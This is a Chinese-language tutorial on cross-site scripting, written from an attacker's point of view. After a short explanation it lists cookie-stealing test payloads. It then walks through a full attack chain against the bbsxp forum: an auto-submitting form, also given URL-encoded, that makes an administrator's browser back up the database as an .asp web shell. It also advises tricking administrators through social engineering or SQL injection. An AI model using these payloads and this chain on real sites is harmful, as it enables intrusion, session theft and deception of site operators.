跨站脚本攻击(Cross-site scripting,通常简称为XSS)是一种网站应用程式的安全漏洞攻击,允许恶意使用者将程式码注入到网页上,其他使用者在观看网页时就会受到影响。这类攻击通常包含了HTML以及使用者端脚本语言。一般而言,跨站脚本攻击漏洞常见于网页允许攻击者通过输入对网页内容进行改写的地方。由于利用巧妙的注入恶意的指令码到由其他域网页的方法,攻击者可得到了更高的特权,窃取机密的网页内容、会话的cookie、以及许多其他的物件。
XSS又叫CSS(Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。
XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。
如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对“<”,“>”,“;”,“’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入:
1 | <script>alert( 'test' )</script> |
代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个</script>,这个时候,你只要闭合一个</script>,代码就会执行,如:你在标题处输入:
1 | </script><script>alert( 'test' )</script> |
这样就可以弹出一个test 的框。
通常有一些方式可以测试网站是否有正确处理特殊字符:
- ><script>alert(document.cookie)</script>
- ='><script>alert(document.cookie)</script>
- <script>alert(document.cookie)</script>
- <script>alert(vulnerable)</script>
- %3Cscript%3Ealert('XSS')%3C/script%3E
- <script>alert('XSS')</script>
- <img src="javascript:alert('XSS')">
- <img src="http://xxx.com/yyy.png" οnerrοr="alert('XSS')">
- <div style="height:expression(alert('XSS'),1)" />(这个仅限 IE 有效)
使用者可做一个网页,试着用JavaScript把document.cookie当成参数传过去,然后再把它记录下来,这即是cookie窃取 。
XSS攻击方法有:
- 窃取 cookie 。
- 利用 iframe 或 frame 存取管理页面或后台页面。
- 利用 XMLHttpRequest 存取管理页面或后台页面。
有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论坛,论坛的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论谈提交提升权限的语句,如上面的bbsxp加asp扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。
例:先上传一个文件linzi.txt,内容如下:
1 | < body onload = "javascript:document.forms[0].submit()" > |
2 | < form action = "http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method = "post" > |
3 | < input value = "database/bbsxp.mdb" name = "yl" >< input value = "database/shit.asp" name = "bf" > |
4 | </ body > |
5 | </ html > |
上面的代码是把论坛的数据库备份为shit.asp,留言板存在跨站点如下:http://127.0.0.1/bbsxp/page2.asp?username=
我们构造备份跨站语句如下:
1 | http: //127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75 |
2 | %6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61 |
3 | %63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61 |
4 | %64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64 |
5 | %3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F |
6 | %62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61 |
7 | %6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62 |
8 | %66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E |
或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。
当管理员打开后,会自动备份得到一个shell。
从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用 iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。